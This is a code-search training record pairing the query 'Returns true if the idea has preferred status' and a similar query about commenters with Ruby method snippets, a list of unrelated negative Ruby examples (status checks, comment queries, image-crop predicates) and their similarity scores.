[ "0.8498275", "0.7565774", "0.72716", "0.7156959", "0.70510364", "0.70259106", "0.6964769", "0.69183433", "0.6907878", "0.68751764", "0.687082", "0.6832827", "0.6831723", "0.67978805", "0.6791987", "0.67915565", "0.67915565", "0.6769349", "0.6703219", "0.6690055", "0.6651127", "0.64804745", "0.64635366", "0.64582896", "0.64509165", "0.6450072", "0.6410145", "0.64044905", "0.6393838", "0.6364599", "0.63593686", "0.6358417", "0.63137496", "0.63118374", "0.63047045", "0.62910104", "0.6211945", "0.61956084", "0.6192985", "0.61896825", "0.61856556", "0.61789954", "0.61690915", "0.61412716", "0.61371845", "0.6130854", "0.6103821", "0.6098303", "0.6087331", "0.60759604", "0.60674673", "0.60674673", "0.6050213", "0.6048342", "0.60403377", "0.60265195", "0.6009923", "0.5973081", "0.5947405", "0.59413046", "0.59352255", "0.59311634", "0.59201133", "0.58979845", "0.5897907", "0.58929116", "0.58879244", "0.58856", "0.58782595", "0.5865221", "0.58643985", "0.5860017", "0.58565605", "0.5846717", "0.5845414", "0.5833919", "0.58299494", "0.58256495", "0.5816772", "0.5813521", "0.579732", "0.5781439", "0.5761325", "0.57547665", "0.5736015", "0.57254046", "0.5724526", "0.5720122", "0.5719771", "0.5709329", "0.5706983", "0.5695745", "0.56942093", "0.5689182", "0.5676328", "0.5661305", "0.5648013", "0.5643213", "0.561556", "0.5609988" ]
0.77095395
1
Returns true if the idea has preferred status, false otherwise
def preferred? self.preferred end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def adoptable?\n adoption_status ? \"Adoptable\" : \"Pending Adoption\"\n end", "def decided?\n return (self.status == STATUS_DENIED or self.status == STATUS_ACCEPTED)\n end", "def awarded_by_interview_committee?\n application_interview_decision_type.nil? ? false : application_interview_decision_type.yes_option\n end", "def active?\n name = self.review_status.name\n name == 'In Review' || name == 'Pending Repost' || name == 'Review On-Hold'\n end", "def intervention?\n self.status == \"Intervention\"\n end", "def win?\n milestones.each do |mile|\n return false unless mile.status == 'Aprobado'\n end\n true\n end", "def prescriptively_ok?\n acceptance & PRESCRIPTIVE == PRESCRIPTIVE\n end", "def reviewed?\n @status == :reviewed\n end", "def awarded_by_review_committee?\n application_review_decision_type.nil? ? false : application_review_decision_type.yes_option\n end", "def reviewed?\n !application_review_decision_type.nil?\n end", "def awarded?\n return is_expired && !best_proposal.nil?\n end", "def interview_decision_made?\n !application_interview_decision_type.nil?\n end", "def active?\n\t\tstatus == STATUSES[2]\n\tend", "def applicable?\n true\n end", "def good?\n @summary[:total_score] <= Constants::THRESHOLDS[\"Project\"]\n end", "def status?\n return data.atk_class == 3\n end", "def estimable?\n story_type == 'feature' && !estimated?\n end", "def needs_fix?\n active? && flagged?\n end", "def can_contest_rating_issues?\n true\n end", "def can_contest_rating_issues?\n true\n end", "def is_active(effort)\n if effort.deliverable and effort.deliverable.project_phase and effort.deliverable.project_phase.project\n return effort.deliverable.project_phase.project.status == 'Active'\n end\nend", "def not_tracked?\n\t\treturn self.status == '?'\n\tend", "def approved?\n (status == APPROVED)\n end", "def awarded_by_final_committee?\n application_final_decision_type.nil? ? false : application_final_decision_type.yes_option\n end", "def approvable?\n (!current_stage.nil? &&\n current_stage.stage.eql?('verify') &&\n current_stage.status.eql?('passed') &&\n !AutomateSoup.url.nil? &&\n !AutomateSoup.credentials.nil? &&\n !links.nil? &&\n !links['approve'].nil? &&\n !links['approve']['href'].nil?)\n end", "def visa_check?\n schengen_overstay? == false && visa_overstay? == false\n end", "def active?\n ['active', 'trialing'].include?(status)\n end", "def suitable?\n false\n end", "def suitable?\n false\n end", "def operable?\n initialize_description!\n return false if !reachable? || description.hidden?\n description.primary? || description.secondary?\n end", "def recommendable?() false end", "def desired_state?\n return true unless options.key?(:desired_state)\n\n options[:desired_state]\n end", "def status? *guesses\n guesses.flatten.collect(&:to_s).member?(self.status.to_s)\n end", "def preferred\n return !!@discovery_document['preferred']\n end", "def annotated?\n @status == :reviewed or @status == :annotated\n end", "def open_status?\n return @ajar == true\n end", "def aggressive?\n stance.include?(Stance::Aggressive)\n end", "def estimated?\n (self.story_type == 'feature') && self.story_points\n end", "def won\n status = self.current_status\n hasUnderscore = status.include?(\"_\")\n return !hasUnderscore\n end", "def abandoned?\n status == Game::ABANDONED && abandoned_at.present?\n end", "def comp_noncomp_past_step_1?\n !spectator? && status_is_active?(\"base_details\")\n end", "def applicable?\n true\n end", "def can_be_assigned?\n\t\t(!status.include? STATUS[\"Assigned\"]) && (!status.include? STATUS[\"Repair\"])\n\tend", "def can_set_appt?\n has_pixan? && !is_completed?\n end", "def active?\n (status == ACTIVE)\n end", "def active?\n (status == ACTIVE)\n end", "def includes_contingency?\n application_interview_decision_type.nil? ? false : application_interview_decision_type.contingency_option\n end", "def approved?\n status == STATUS_APPROVED\n end", "def approved?\n Weam.match('aprvd', poo_status) && \n !Weam.match(\"^(#{ALC1}|#{ALC2})\", applicable_law_code) &&\n (\n institution_of_higher_learning_indicator || \n ojt_indicator ||\n correspondence_indicator ||\n flight_indicator ||\n non_college_degree_indicator\n )\n end", "def delivered?\n (!current_stage.nil? &&\n current_stage.stage.eql?('delivered') &&\n current_stage.status.eql?('passed') &&\n !AutomateSoup.url.nil? &&\n !AutomateSoup.credentials.nil?)\n end", "def athlete_result?\n !team_result?\n end", "def approved?\n closed? && has_met_requirement?\n end", "def active?\n @status == :established\n end", "def active?\n ACTIVE_STATUSES.include?(self.status.to_sym)\n end", "def favoriter?\n false\n end", "def is_preferred\n attributes.fetch(:isPreferred)\n end", "def active?\n points_awarded.present?\n end", "def pending_pickup?\n @is_pending_pickup\n end", "def accepted?\n return (self.status == STATUS_ACCEPTED)\n end", "def approved?\n state == 'approved'\n end", "def latest_is_personal_best?\n latest == personal_best\n end", "def active?\n status == STATUS[:active]\n end", "def active?\n active\n end", "def active?\n active\n end", "def active?\n active\n end", "def active?\n active\n end", "def active?\n game.winner.nil?\n end", "def improvising?(is_improvising=nil)\n @is_improvising = is_improvising if is_improvising != nil\n @is_improvising\n end", "def approved?\n !self.pending\n end", "def status_is_successful?\n\t\treturn self.status_category == 2\n\tend", "def active?\n !done?\n end", "def active?\n end", "def active?\n end", "def pro?\n status?(UserStatuses::PRO) || status?(UserStatuses::PREMIUM)\n end", "def active?\n active\n end", "def pact_pending?\n pact_pending\n end", "def final_decision?\n final_decision\n end", "def active?\n self.status == \"Active\"\n end", "def active?; status == :active; end", "def completed?\n team_winner\n end", "def approved?\n !pending\n end", "def win?\n @strategy.win?\n end", "def win?\n @strategy.win?\n end", "def invited_for_interview?\n if offering.uses_interviews?\n application_review_decision_type.nil? ? false : application_review_decision_type.yes_option\n else\n false\n end\n end", "def ignored?\n\t\treturn self.status == 'I'\n\tend", "def pending?\r\n @activated\r\n end", "def ongoing?\n \tself.active and self.winner.nil?\n end", "def active?\n active\n end", "def approved?(app)\n ApplicationPet.find_by(application_id: app.id, pet_id: id).status\n end", "def program_announcement_view?\n return false if User.current_user.is? :any, :in_group => [:geography], :center_id => self.center_id\n return false if User.current_user.is? :any, :in_group => [:pcc], :center_id => self.center_id\n return true if User.current_user.is? :program_announcement, :center_id => self.center_id and ANNOUNCED_STATES.include?(self.state)\n end", "def auto_battle?\r\n special_flag(FLAG_ID_AUTO_BATTLE)\r\n end", "def active?\n 'Active' == self.status\n end", "def pending?\n (status == PENDING)\n end", "def pending?\n (status == PENDING)\n end", "def starter?\n games_played < Elo.config.starter_boundry\n end", "def active?\n !effective_flags.empty?\n end", "def pending?\n return true if self.status == 'Pending'\n return false\n end", "def pending?\n return true if self.status == 'Pending'\n return false\n end", "def in_decision\n return @decision_level > 0\n end", "def running_nexus_pro?\n status['edition_long'] == \"Professional\"\n end" ]
[ "0.70375925", "0.69731855", "0.6902406", "0.689073", "0.6802753", "0.6778904", "0.66817284", "0.66621965", "0.665633", "0.66336936", "0.6611703", "0.659836", "0.6592191", "0.65733737", "0.654889", "0.6472812", "0.6462", "0.64433473", "0.64391756", "0.64391756", "0.64386946", "0.6422259", "0.6403957", "0.64005834", "0.6386664", "0.6386421", "0.6381314", "0.6376147", "0.6376147", "0.6372462", "0.63708436", "0.6370254", "0.63641477", "0.63625747", "0.6361653", "0.6353754", "0.63489836", "0.63438517", "0.63308185", "0.63213533", "0.6317053", "0.6313475", "0.6312081", "0.6308617", "0.62879026", "0.62879026", "0.62800205", "0.62765324", "0.62748075", "0.6266133", "0.6261737", "0.6255629", "0.625411", "0.62468517", "0.6240843", "0.62262005", "0.62245023", "0.622302", "0.6218395", "0.62156165", "0.6215143", "0.6214747", "0.6210988", "0.6210988", "0.6210988", "0.6210988", "0.6209838", "0.620771", "0.62038994", "0.6203309", "0.62017566", "0.61999744", "0.61999744", "0.61948574", "0.61944795", "0.6193708", "0.6188082", "0.61838317", "0.617894", "0.6178234", "0.61771417", "0.617637", "0.617637", "0.6173795", "0.6173109", "0.61719584", "0.61704785", "0.6167927", "0.61632234", "0.6158096", "0.6157338", "0.6145221", "0.614284", "0.6141846", "0.61396456", "0.6131892", "0.61260253", "0.61260253", "0.6123297", "0.61217576" ]
0.7120746
0
Returns an array of all the users who have commented on the idea
def all_commenters commenters = [] for comment in self.comment_threads commenters << comment.author end return commenters end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def commenters # the user who commented on you\n self.comments.map do |comment|\n comment.user\n end\n end", "def commenters\n comments = Comment.find_by_sql(\"select distinct user_id from comments \"\\\n \"where commentable_type='Package' \"\\\n \"and commentable_id=#{id}\")\n # return the commenters\n comments.map {|comment| User.find(comment.user_id)}\n end", "def commenters\n # User.joins(:comments).where(comments: {discussion_id: id}).uniq\n User.where(id: comments.pluck(:author_id))\n end", "def comments_given(user_id)\n comments = Comment.where(user_id: user_id)\n end", "def watch_comment_by_user_ids\n self.watch_comment_by_user_actions.where(\"action_option is null or action_option != ?\", \"ignore\").pluck(:user_id)\n end", "def comments(user)\n self.design_review_comments.to_ary.find_all { |comment| comment.user == user }\n end", "def comments\n # event_ids = events(@user).pluck(:id)\n # Comment.where(commentable_type: \"Event\", commentable_id: event_ids, program_favorite: true)\n # events(@user).unscope(:order).order(start_date_time: :asc).each { |event| event.map { |event| event.favorite_comments.first } }\n events(@user).map { |e| e.comments.select { |c| c.event_favorite == true }.first(2) }.flatten\n end", "def commentsBy\n c = comments.where(:user_id => self.id).all\n if c\n c\n end\n end", "def commented_by(name)\n get_data(\"user/#{name}/commented\")\n end", "def watch_comment_by_user_ids\n user_ids = watch_comment_by_user_actions.where(\"action_option is null or action_option != ?\", \"ignore\").pluck(:user_id)\n user_ids += repository.watch_by_user_ids\n user_ids.uniq!\n\n user_ids - unwatch_comment_by_user_ids\n end", "def users_comments(post_id)\n @comments = []\n comments = Post.find(post_id).comments\n for comment in comments\n if (is_admin? || comment.commentable.user == current_user)\n @comments << comment\n end\n end\n @comments\n end", "def comments\n comments = []\n posts = Post.all\n posts.each { |p| comments += p.comments.where(user_id: self.id) }\n return comments\n end", "def participants\n User.find([self.thought.user_id,*thought.comments.map(&:user_id)].compact-[self.user_id])\n end", "def comments\n object.comments.where(:user_id => current_user)\n end", "def user_want_notified_new_comment user_eject\n EntrMissionUser\n .includes(:user)\n .where(\"entr_mission_users.mission_id = ? AND users.mail_comments = ? AND users.id != ?\", \n self.id, \n true, \n user_eject.id)\n .collect { |l| l.user }\n end", "def commenters\n comments.map(&:employee)\n end", "def received_comments\n my_comments = []\n self.pictures.each do |picture|\n picture.comments.each do |comment|\n if comment.user_id != self.id\n my_comments.push(comment)\n end\n end\n end\n my_comments\n end", "def get_user_comments(user_id,start,count)\n numitems = $r.zcard(\"user.comments:#{user_id}\").to_i\n ids = $r.zrevrange(\"user.comments:#{user_id}\",start,start+(count-1))\n comments = []\n ids.each{|id|\n news_id,comment_id = id.split('-')\n comment = Comments.fetch(news_id,comment_id)\n comments << comment if comment\n }\n [comments,numitems]\n end", "def already_commented_by_user?(the_user)\n !self.comments.where([\"user_id = ?\", the_user.id]).empty?\n end", "def liked_by\n\t\tcomment = Comment.includes(:liked_by).find_by(id: params[:id])\n\t\t@users = comment.has_been_liked_by\t\t\t\t\t\t\t\t\t\n\tend", "def user_comments\n comments = Comment.where(:commentable_id => self.id, :commentable_type => \"Conversation\")\n str = \"\"\n comments.each do |comment|\n user_name = Invitee.where(:id => comment.user_id).first.name_of_the_invitee rescue nil\n desc = comment.description if user_name.present?\n str += \"#{user_name} => #{desc}\" + ' ~ ' \n end\n str\n end", "def engaged_users\n self.users.select { |u| u.ideas.count > 0 || u.comments.count > 0 || u.votes.count > 0 || u.support_messages.count > 0 }\n end", "def approved_comments\n comments.select {|comment| comment.approved == true }\n end", "def user_want_notified_new_comment_advanced user_eject\n EntrMissionUser\n .includes(:user)\n .where(\"entr_mission_users.mission_id = ? AND users.mail_comments = ? AND users.id != ? AND entr_mission_users.state = ?\", \n self.id, \n true, \n user_eject.id, \n EntrMissionUser::Status::CONFIRMED)\n .collect { |l| l.user }\n end", "def involved_people\n # [self.user, self.answerers, self.commenters].flatten.uniq\n [self.user].flatten.uniq\n end", "def commented_user_name\n \"\"\n # comment_by = self.comments.pluck(:user_id)\n # name_of_the_invitee = Invitee.find_by_id(comment_by).name_of_the_invitee\n # return name_of_the_invitee\n # binding.pry\n end", "def people_involved(notification)\n people = User.joins(:comments)\n .joins('INNER JOIN patches ON patches.id = comments.patch_id')\n .joins('INNER JOIN merge_requests ON merge_requests.id = patches.merge_request_id')\n .where(notification => true)\n .where('merge_requests.id = ?', id).uniq\n people << reviewer if reviewer\n (people << author).uniq\n end", "def goodcomments\n User.isliked(self)\n end", "def all_commenters_except(user)\n commenters = self.all_commenters\n commenters.delete_if { |commenter| commenter == user }\n end", "def listeners\n users_to_notify = Set.new\n users_to_notify += self.proposal.currently_awaiting_approvers\n users_to_notify += self.proposal.individual_steps.approved.map(&:user)\n users_to_notify += self.proposal.observers\n users_to_notify << self.proposal.requester\n # Creator of comment doesn't need to be notified\n users_to_notify.delete(self.user)\n users_to_notify\n end", "def all_adverse_event_comments\n AdverseEventComment\n .current\n .where(\"user_id = ? or project_id in (?)\", id, all_projects.select(:id))\n end", "def approved_comments\n approved_comments = []\n comments.each { |c| approved_comments << c if c.approved }\n approved_comments\n end", "def users_who_completed_all_studies\n @downloaded_studies = Study.find(self.study_ids)\n\n user_arr = []\n @downloaded_studies.each do |study|\n user_arr.push(study.study_completions.pluck(:user_id).uniq)\n end\n\n ## SELECT THE COMMON VALUES OF ALL INTERIOR ARRAYS\n user_ids_and_nil = user_arr.reduce { |a, b| a & b }\n\n\n ## THIS COMMAND GETS RID OF ALL LOGGED OUT USER SURVEY DATA -- could be interesting to see if its use can dry up code\n user_ids_who_completed_all_studies = user_ids_and_nil.grep(Integer)\n\n user_ids_who_completed_all_studies\n end", "def motivatedByCommenting\n q = [nil, OA.motivatedBy, OA.commenting]\n @graph.query(q).collect {|s| s.subject }\n end", "def entry_user_ids\n (entered_stories.map(&:user_id) + entered_notes_user_ids).flatten\n end", "def participants\n User.find Participation.select(\"distinct user_id\").where(:occasion_id => id).all.map(&:user_id)\n # participations.map(&:user).uniq\n end", "def collocutors\n comments.map(&:reader).uniq\n end", "def get_unviewed_ids(user); end", "def CommentCount\n return Comment.where(:user_id => id).count\n end", "def comments\n pull_comments\n @comments_list\n end", "def stakeholders\n self.stakeholder_ids.collect{|user_id| User.find(user_id)}\n end", "def get_visible_assistants(viewer_user)\n user_list = if viewer_user.eql?(creator)\n users.select(:id, :name)\n elsif (viewer_user.public_or_following_creator?(self))\n # TODO: ORDER THIS\n users.select(:id, :name, :is_private).collect { |user| \n user if (user.is_public? || viewer_user.following?(user))\n }.compact\n end\n\n return user_list\n end", "def liked_comments_count\n # Creating comments\n comment_ids = \"SELECT id FROM comments WHERE user_id = :user_id\"\n # Except for self like\n CommentLike.where(\"comment_id IN (#{comment_ids}) AND user_id <> :user_id\", user_id: id).count\n end", "def users_for_new_issue_watchers(issue)\n users = issue.watcher_users.select{|u| u.status == User::STATUS_ACTIVE}\n project = issue.project\n scope_users = project.users\n scope_groups = project.principals.merge(Group.givable)\n if scope_users.count + scope_groups.count <= 20\n users = (users + scope_users.sort + scope_groups.sort).uniq\n end\n users\n end", "def involved_people\n involved_people_ids.collect{|user_id| User.find(user_id)}\n end", "def unreviewed_comments\n comments.select {|comment| comment.approved.nil? }\n end", "def notifiable_users(only_self: false, origin_notifiable_resolver: nil)\n n_users_ids = []\n\n # Owner of the post\n if self.user\n n_users_ids << self.user.id\n\n # all users from the same page\n # if post was just created\n if self.id_changed? and self.user.page and only_self\n n_users_ids += self.user.page.users.collect(&:id)\n end\n end\n\n if a = self.activity\n unless only_self\n # And user who commented the post\n if comments = a.comments and comments.count > 0\n comments_notifiable_users_ids = comments.map do |c|\n if c != origin_notifiable_resolver\n c.notifiable_users(only_self: true, origin_notifiable_resolver: self).collect(&:id)\n else\n nil\n end\n end\n n_users_ids << comments_notifiable_users_ids.flatten.compact.uniq\n end\n end\n end\n\n User.where('users.id IN (?)', n_users_ids.flatten.compact.uniq)\n end", "def get_user_comments(user_id,start,count)\n numitems = $r.zcard(\"user.comments:#{user_id}\").to_i\n ids = $r.zrevrange(\"user.comments:#{user_id}\",start,start+(count-1))\n comments = []\n ids.each{|id|\n news_id,comment_id = id.split('-')\n comment = Comments.fetch(news_id,comment_id)\n comments << comment if comment\n }\n [comments,numitems]\nend", "def find_comments_by_user(user)\n Comment.where(commentator_id: user.id, commentable_type: self.class.name)\n .order('created_at DESC')\n end", "def commentable_user\n current_user\n end", "def comments\n @comments\n end", "def recommend\n recs = []\n User.all.each do |user|\n if user.hotspots.include?(self)\n user.hotspots.each do |hs|\n recs << hs\n end#user.hotspots end\n end#if include? end\n return recs.uniq\n end#users.each end\n end", "def _get_current_expected(orders, comments)\n\n orders.each do |user_hash|\n\n users = user_hash.keys\n\n if users.nil? or users.empty?\n\n next\n\n else\n\n self.item.comments.each do |comment|\n next unless comment.xtype == Comment::XTYPE_ACK\n users.delete comment.user_id\n end\n\n if users.empty?\n next\n else\n return users\n end\n\n end\n end\n\n # Accepted\n return []\n end", "def reviewer_list\n\n reviewers = []\n design_review_results =\n DesignReviewResult.find_all_by_design_review_id(self.id)\n\n design_review_results.each do |dr_result|\n reviewer = User.find(dr_result.reviewer_id)\n reviewers << reviewer.email if reviewer.active?\n end\n \n return reviewers.uniq\n\n end", "def users\n watches_unique_by_user.map(&:user)\n end", "def number_of_commenting_users\n temp = describing_comments.collect{|comment| comment.submitter_id}.uniq.length\n ((temp >= @@low_amount_of_commenters)?(temp.to_s):(\"פחות מ-#{@@low_amount_of_commenters}\"))\n end", "def reviewer_list\n\n reviewers = []\n design_review_results =\n DesignReviewResult.find_all_by_design_review_id(self.id)\n\n design_review_results.each do |dr_result|\n reviewer = User.find(dr_result.reviewer_id)\n reviewers << reviewer.email if reviewer.active?\n end\n\n return reviewers.uniq\n\n end", "def index\n @comments = @secret.commentsIndex(current_user)\n #@comments = @secret.comments.asc(:created_at)\n #@comments.each do |comment|\n # if @user.friends.include?(comment.user_id)\n # comment.author_is_friend = true\n # elsif comment.user_id == @user.id\n # comment.i_am_author = true\n # end\n #end\n end", "def all_comments\n render :json => User.find(params[:user_id]).comments\n end", "def liked_users \n users = object.liked_users.collect do |liked_user|\n # user = User.find_by(id: liked_user.liked_user_id)\n # user.attributes.except!(\"created_at\", :updated_at, :email)\n user = User.select(:id, :name, :gender, :age, :bio).find_by(id: liked_user.liked_user_id)\n end\n end", "def reviews\n # output = []\n # Review.all.each do |review|\n # if review.user == self\n # output << review\n # end\n # end\n # output\n Review.all.select { |review| review.user == self }\n end", "def users\n # TODO use SQL\n results = self.approvers + self.observers + [self.requester]\n results.compact\n end", "def get_relevant_users(include_evaluator = false, include_evaluated = false)\n relevant_users = self.get_team_members\n if not self.adviser_id.blank?\n relevant_users.append(self.adviser.user)\n end\n if not self.mentor_id.blank?\n relevant_users.append(self.mentor.user)\n end\n if include_evaluator\n relevant_users.concat(self.get_evaluator_teams_members)\n end\n if include_evaluated\n relevant_users.concat(self.get_evaluated_teams_members)\n end\n return relevant_users\n end", "def comments\n Comment.where(:article => @id)\n end", "def users\n users = []\n if current_user.lead?\n users = object.users.select { |u| u.id != current_user.id }\n users = users.unshift(current_user)\n elsif current_user.dev?\n vms_v = object.vms.select { |vm| vm.is_jenkins }\n users = vms_v.flat_map(&:user).uniq.select { |u| u.id != current_user.id }\n users = users.unshift(current_user)\n else\n users <<= current_user\n end\n users.map { |u| u.id }\n end", "def authored_replies\n Replies.find_by_user_id(@id)\n end", "def index\n @user_comments = UserComment.all\n end", "def comments\n object.comments.approved\n end", "def notify_users\n ([requested_by, owned_by] + notes.map(&:user)).compact.uniq\n end", "def get_comments_only\n self.comments.includes(:comments, :user).where(parent_comment_id: nil)\n end", "def users_sharing_the_same_interest\n self.user_interest_preferences.map(&:user_id)\n end", "def reviews\n Review.all.select do |r|\n r.user == self\n end\n end", "def notified_users\n notified = []\n\n # Author and assignee are always notified unless they have been\n # locked or don't want to be notified\n notified << author if author\n\n notified += assigned_to_users\n notified += assigned_to_was_users\n\n notified = notified.select {|u| u.active?}\n\n notified.uniq!\n notified\n end", "def comments\n @comments\n end", "def reviewers\n reviews.map { |r|\n r.user }.uniq\n end", "def user_reviews\n Review.all.select {|review| review.user == self}\n end", "def _get_comments_from_gh()\n comments = []\n page = 1\n done = false\n until done\n puts \"Comment Page #{page}\"\n newcomments = self.client.issues_comments( REPO, { :page => page} )\n comments += newcomments\n done = newcomments == []\n page = page + 1\n end\n return comments\n end", "def authored_replies\n Reply.find_by_user_id(self.id)\n end", "def previous_commenters\n dream.comments.collect(&:dreamer).uniq.reject { |d| d == dreamer }\n end", "def comments\n \tComment.where(commentable: commentable, parent_id: id)\n end", "def comments\n get_ticket_property_list(\"comments\" , Unfuddled::Comment)\n end", "def get_replies_only\n self.comments.includes(:user).where.not(parent_comment_id: nil)\n end", "def extract_mentions( text )\n regex = /(?:^|\\s)@(\\w*)(?:\\s|\\z|$)/\n usernames_array = text.scan(regex).flatten\n ids = User.where(username: usernames_array).pluck(:id) - [current_user.id] if usernames_array\n ids.blank? ? false : ids\n end", "def rejected_comments\n comments.select {|comment| comment.approved == false }\n end", "def get_committed_passengers\n erg = []\n self.passengers.all.each do |p|\n if p.confirmed then\n erg << p.user\n end\n end\n return erg\n end", "def notified_users\n notified = []\n\n # Author and auditors are always notified unless they have been\n # locked or don't want to be notified\n notified << user if user\n\n notified += auditor_users\n\n # Only notify active users\n notified = notified.select { |u| u.active? }\n\n notified.uniq!\n\n notified\n end", "def feed_comments\n # Following users\n following_user_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n # Following Tags\n following_tag_ids = \"SELECT tag_id FROM tag_follows\n WHERE user_id = :user_id\"\n # Following tag's items\n following_tag_item_ids = \"SELECT taggable_id FROM taggings WHERE taggable_type = 'Item' AND tag_id IN (#{following_tag_ids})\"\n # Create or Update items\n create_update_item_ids = \"SELECT id FROM items WHERE create_user_id = :user_id OR update_user_id = :user_id\"\n # Stocking items\n stocking_item_ids = \"SELECT item_id FROM item_stocks WHERE user_id = :user_id\"\n # Liking comments\n liking_comment_ids = \"SELECT comment_id FROM comment_likes WHERE user_id = :user_id\"\n # Liking comment's items\n liking_comment_item_ids = \"SELECT item_id FROM comments WHERE id IN (#{liking_comment_ids})\"\n # Commenting items\n comment_item_ids = \"SELECT item_id FROM comments WHERE user_id = :user_id\"\n\n Comment.includes([:user, :item]).where(\"user_id IN (#{following_user_ids})\n OR user_id = :user_id\n OR item_id IN (#{create_update_item_ids})\n OR item_id IN (#{stocking_item_ids})\n OR item_id IN (#{following_tag_item_ids})\n OR item_id IN (#{liking_comment_item_ids})\n OR item_id IN (#{comment_item_ids})\", user_id: id).limit(13)\n end", "def recieved_requests_users\n recieved_requests.map(&:user)\n end", "def comments\n @comments\n end", "def comments\n @comments\n end", "def liked_by\n User.where(:id => liked_by_ids)\n end", "def tweets\n Tweet.all.select do |tweet|\n tweet.user == self\n end\n # tweets = []\n #\n # Tweet.all.each do |tweet|\n # if tweet.user == self\n # tweets << tweet\n # end\n # end\n #\n # tweets\n end", "def comments_by_role(role_list)\n\n role_names = (role_list.class == String) ? [role_list] : role_list\n \n role_users = []\n role_names.each { |name| role_users += Role.find_by_name(name).users }\n role_users.uniq!\n\n comment_list = []\n self.design_review_comments.each do |comment|\n comment_list << comment if role_users.detect { |ru| ru.id == comment.user_id }\n end\n \n comment_list\n \n end", "def comments\n @comments.values\n end", "def blocked_user_ids\n Rails.cache.fetch(\"blocked_user_ids_#{id}\", expires_in: 1.month.from_now) do\n blocked_users_relationships.pluck(:user_id)\n end\n end", "def likers\n likes.map do |like|\n like.user\n end\n end", "def user_ids\n self.class.where(id: id).user_ids\n end", "def requestees\n @requestees_arr = []\n current_user= User.where(id: self.id)\n requestees = current_user[0].request_received\n\n requestees.each do |r|\n @requestees_arr.push(r.user)\n end\n\n @requestees_arr\n \n\n end", "def likers \n self.likes.map {|like| like.user_id}\n end", "def coauthored_works\n @coauthored_works = []\n works.find(:all, :conditions => 'posted = 1').each do |w|\n unless self.is_sole_author_of?(w)\n @coauthored_works << w \n end\n end\n return @coauthored_works \n end" ]
[ "0.7169975", "0.7163043", "0.6975001", "0.69564164", "0.69077265", "0.68250406", "0.6775234", "0.67572737", "0.6708272", "0.6695053", "0.6694543", "0.66764164", "0.6604455", "0.6521454", "0.6349899", "0.6288358", "0.62510836", "0.6243967", "0.6224157", "0.61659265", "0.6083142", "0.6045961", "0.6035356", "0.59977484", "0.59602636", "0.5903298", "0.5893781", "0.5890027", "0.5885036", "0.5879623", "0.5875309", "0.58690125", "0.58682793", "0.58583236", "0.5851793", "0.5843644", "0.58183676", "0.58115864", "0.5808382", "0.58011997", "0.57944435", "0.5794345", "0.578773", "0.5783537", "0.5767944", "0.576434", "0.57631797", "0.5753332", "0.5753144", "0.57511157", "0.5747325", "0.5735635", "0.5733079", "0.5728347", "0.57225114", "0.57220936", "0.5703663", "0.57016915", "0.5694073", "0.5688272", "0.5682955", "0.56790334", "0.56735784", "0.5670005", "0.5665931", "0.5664565", "0.56614155", "0.5656391", "0.56549263", "0.565381", "0.5645751", "0.56448185", "0.5640029", "0.5639368", "0.5620448", "0.5619519", "0.5604614", "0.5596611", "0.5594532", "0.5592419", "0.5591262", "0.5583337", "0.5577667", "0.55685395", "0.5552977", "0.5545585", "0.55451715", "0.55324715", "0.5526686", "0.5526686", "0.55237335", "0.5519508", "0.5519073", "0.5516693", "0.55100185", "0.5508928", "0.55032945", "0.5497616", "0.5496697", "0.54964954" ]
0.62806684
16
Returns true if any of the crop attrs are not blank, indicating that an image fo the idea is being cropped.
def cropping? !crop_x.blank? && !crop_y.blank? && !crop_w.blank? && !crop_h.blank? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cropping?\n !self.crop_x.blank? && !self.crop_y.blank? && !self.crop_w.blank? && !self.crop_h.blank?\n end", "def cropping?\n !crop_x.blank? && !crop_y.blank? && !crop_w.blank? && !crop_h.blank?\n end", "def cropping?\n !crop_x.blank? and !crop_y.blank? and !crop_w.blank? and !crop_h.blank?\n end", "def cropping?\n !crop_x.blank? && !crop_y.blank? && !crop_ratio.blank?\n end", "def cropping?\n !!crop_x and !!crop_y and !!crop_w and !!crop_h\n end", "def can_be_cropped?\n thumbnail_coordinates.present? &&\n thumbnail_coordinates['x'].to_i > 0 &&\n thumbnail_coordinates['y'].to_i > 0 &&\n thumbnail_coordinates['h'].to_i > 0 &&\n thumbnail_coordinates['w'].to_i > 0\n end", "def can_be_cropped?\n thumbnail_coordinates.present? &&\n thumbnail_coordinates['x'].to_i > 0 &&\n thumbnail_coordinates['y'].to_i > 0 &&\n thumbnail_coordinates['h'].to_i > 0 &&\n thumbnail_coordinates['w'].to_i > 0\n end", "def crop?\n @crop\n end", "def crop?\n @crop\n end", "def allow_image_cropping?\n content && content.settings[:crop] && picture &&\n picture.can_be_cropped_to?(\n content.settings[:size],\n content.settings[:upsample],\n ) && !!picture.image_file\n end", "def is_crop?\r\n self.rels_ext.content.include? \"isCropOf\"\r\n end", "def valid?\n !(image_too_small? || image_too_big?)\n end", "def should_reject(attributes)\n\t\tif attributes[:id].present?\n\t\t\treturn false\n\t\telsif attributes[:image].blank?\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend", "def cropping?\n model.cropping?\n end", "def is_skippable?\n return true if @label.include? 'coverblank'\n end", "def valid_image_data?\n\n #There should be image data.\n unless self.data?\n errors.add(:base, \"No image data.\")\n return false\n end\n\n #There should be large thumbnail data.\n unless self.large_thumb?\n errors.add(:base, \"No large thumbnail image data.\")\n return false\n end\n\n #There should be small thumbnail data.\n unless self.small_thumb?\n errors.add(:base, \"No small thumbnail image data.\")\n return false\n end\n\n return true\n end", "def validate_rect image, width, height, x1, x2, y1, y2\n begin\n assert x1 >= 0\n assert x2 >= 0\n assert x1 <= image.width\n assert x2 <= image.width\n assert x1 <= x2\n assert y1 >= 0\n assert y2 >= 0\n assert y1 <= image.height\n assert y2 <= image.height\n assert y1 <= y2\n rescue => e\n raise ManagedImage::InvalidCropError, \"Crop coordinates #{x1}, #{x2}, #{y1}, #{y2} is invalid for image with size #{image.width}x#{image.height}\"\n end\n end", "def validate(session, attributes)\n read_task('rvpe.image.validate', session) do\n image_attr_sanity_check(attributes)\n [true, '']\n end\n end", "def valid?\n width.present? && height.present?\n end", "def empty?\n @attrs.empty?\n end", "def composite?\n !shapes.empty?\n end", "def images? ; !(@images.nil? || @images.empty?) ; end", "def 